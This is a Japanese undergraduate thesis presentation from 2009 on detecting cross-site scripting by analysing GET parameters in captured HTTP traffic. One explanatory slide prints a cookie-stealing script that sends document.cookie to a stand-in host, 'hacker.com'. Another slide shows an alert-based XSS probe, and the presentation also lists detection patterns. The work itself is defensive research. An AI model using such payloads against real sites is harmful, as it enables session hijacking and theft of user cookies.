卒業論文発表 「Web アクセスに伴う脅威の特徴分析」 後藤研究室 1G05R191-9 米山 諒 卒業論文発表 2009/2/4
研究背景 インターネットの普及に伴い,クロスサイトスクリプティング (XSS), Phishing, SQL-Injection など Web 上の脆弱性 が問題視されている。 脆弱性を持つサイトが数多く存在する。 未対応のまま放置されているものもある。 Web サーバ側の対応だけでは十分ではない。 卒業論文発表 2009/2/4
研究目的 増加傾向にある Web 上の脆弱性による脅威を防ぐ ために,Web サーバの外で対策を行う。 クライアント側の対策では,ユーザの操作や設定に よって機能を無効化してしまう恐れがある。 サーバとクライアントの中継地点での対策を提案する。 卒業論文発表 2009/2/4
クロスサイトスクリプティング (XSS) 悪意のあるスクリプトを含んだ URI http://victim.com/foo.cgi?q= <html_javascript_exploit_code> <HTML> <BODY> <B>Web Page Content</B> The JavaScript code within the URL is echoed by the website and executed in the users browser. click 10.19.19.1 – “GET / HTTP/1.1” 200 81 10.19.19.1 – “GET /cookie_data HTTP/1.1” 200 335 <SCRIPT> var img = new Image(); Img.src = ‘http://hacker.com/’ +document.cookie; </SCRIPT> </BODY> </HTML> 卒業論文発表 2009/2/4
被害の一例 Cookie を盗まれてセッションハイジャックされる。 意図しない Web サイトの機能を実行される。 ページの任意の部分を変更される。 DoS 攻撃に利用される。 Phishing (フィッシング詐欺) に利用される。 マルウェアをダウンロードさせられる。 卒業論文発表 2009/2/4
提案手法 ネットワーク上を流れるトラフィックデータを利用して, クロスサイトスクリプティング (XSS) の検知を行う。 tcpdump のデータから HTTP ヘッダを抽出する。 HTTP ヘッダから GET メソッドを抽出する。 GET メソッドで渡される引数を解析して検知する。 イーサネット ヘッダ IP ヘッダ TCP ヘッダ アプリケーション データ イーサネット トレーラ メッセージヘッダー 空行 (CR+LF) メッセージボディ 卒業論文発表 2009/2/4
提案手法の概要 HTTPリクエスト (スクリプトの抽入) HTTPリクエスト 攻撃者 レスポンス HTTPリクエスト Webサーバ GET /xss.cgi? form=%3Cscript%3Ealert(XSS)%3C%2Fscript%3E Host: www.exsample.com Accept: text/html; Accept-Language: ja, en-us; Accept-Encoding: gzip,defate Accept-Charset: Shift_JIS,utf-8; Cookie: SSID=123abc 一般ユーザ 卒業論文発表 2009/2/4
評価実験 サンプルデータによる提案手法の検知精度 実際のトラフィックデータへ提案手法の適用 XSSed – XSS (Cross-Site Scripting) information and vulnerable websites archive http://www.xssed.com/ XSS Workshop http://blogged-on.de/xss/ XSS Challenges http://xss-quiz.int21h.jp/ 実際のトラフィックデータへ提案手法の適用 早稲田大学のトラフィックデータを利用する。 卒業論文発表 2009/2/4
検知ルール 提案手法A の検知ルール 検知手法B の検知ルール <script> タグ javascript: によるスクリプト onClick イベント onMouseOver イベント 検知手法B の検知ルール イベントハンドラ (正規表現によるマッチング) 卒業論文発表 2009/2/4
トラフィックの測定環境 Internet Waseda Network Router Router Capturing Machine 卒業論文発表 2009/2/4
実験結果 (サンプルデータ) パケット数 GET メソッド 提案手法A 提案手法B 1,004,804 76,116 5,016 5,066 パケット数は HTTP パケットの総数 GET メソッドには画像ファイルなどの呼び出しを含む 卒業論文発表 2009/2/4
検知精度 (サンプルデータ) <script> タグ Javascript: によるスクリプト イベントハンドラ エンコードで隠ぺいしたスクリプトの検知が可能であった。 Javascript: によるスクリプト 確実に検知できることを確認できた。 イベントハンドラ 属性値が「’」もしくは「”」で囲まれているものを検知できた。 卒業論文発表 2009/2/4
実験結果 (早稲田トラフィックデータ) 卒業論文発表 2009/2/4
結論 まとめ サーバとクライアントの中継地点の対策を提案した。 HTTP ヘッダ中の GET メソッドの特徴を利用すること で,クロスサイトスクリプティング (XSS) の検知が可能 であることを示した。 今後の課題 検知の精度 (見逃しと誤検知) リアルタイムでの検知 卒業論文発表 2009/2/4
ご清聴ありがとうございました 卒業論文発表 2009/2/4
既存手法 Snort Proxy サーバ TCP, UDP, ICMP, IP の解析を行うことができる。 上記以外のプロトコルについては記録のみを行う。 Proxy サーバ Proxy サーバを利用して,HTTP プロトコルを解析する。 HTML 文章まで解析することで検知を行うことができる。 卒業論文発表 2009/2/4
HTTP/1.1 メソッド メソッド 内容 GET リソースの取得 POST エンティティボディの転送 PUT ファイルの転送 HEAD メッセージヘッダーの取得 DELETE ファイルの削除 OPTIONS サポートしているメソッドの問い合わせ TRACE 経路の調査 CONNECT プロキシへのトンネリング要求 卒業論文発表 2009/2/4
リクエストメッセージの例 GET http://www.exsample.com/ HTTP/1.1 リクエストライン Accept: image/gif, image/x-xbitmap, image/jpeg,, */* Accept-Language: ja User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept-Encoding: gzip, deflate Host: www.exsample.com Proxy-Connection: Keep-Alive 各種ヘッダーフィールド 空行 (CR+LF) 卒業論文発表 2009/2/4
レスポンスメッセージの例 HTTP/1.0 200 OK ステータスライン Date: Wed, 22 Sep 2004 05:21:33 GMT Server: Apache Last-Modified: Fri, 28 May 2004 12:27:38 GMT Etag: "6eb21-291-40b7303a" Accept-Ranges: bytes Content-Length: 657 Content-Type: text/html Proxy-Connection: keep-alive 各種ヘッダーフィールド 空行 (CR+LF) <html> <head> ・・・ </html> メッセージボディ 卒業論文発表 2009/2/4
JavaScript のイベントハンドラ ハンドラ名 イベントの発生するタイミング onBlur フォーカスが外れたとき onClick クリックされたとき onChange フィールドの内容が変更されたとき onFocus フォーカスされたとき onLoad 読み込みが完了したとき onMouseOver 要素上にマウスカーソルが重なったとき onSelect フィールドが選択されたとき onSubmit フォームの内容を送信したとき onUnload 別ページに移動するとき 卒業論文発表 2009/2/4
エンコードと実体参照 表示 実体参照 UTF-8 & & %25 < %3C > %3E " " %22 ‘ ' %27 卒業論文発表 2009/2/4
サンプルデータの収集 Internet HTTP リクエスト レスポンス Client PC Web Server 卒業論文発表 2009/2/4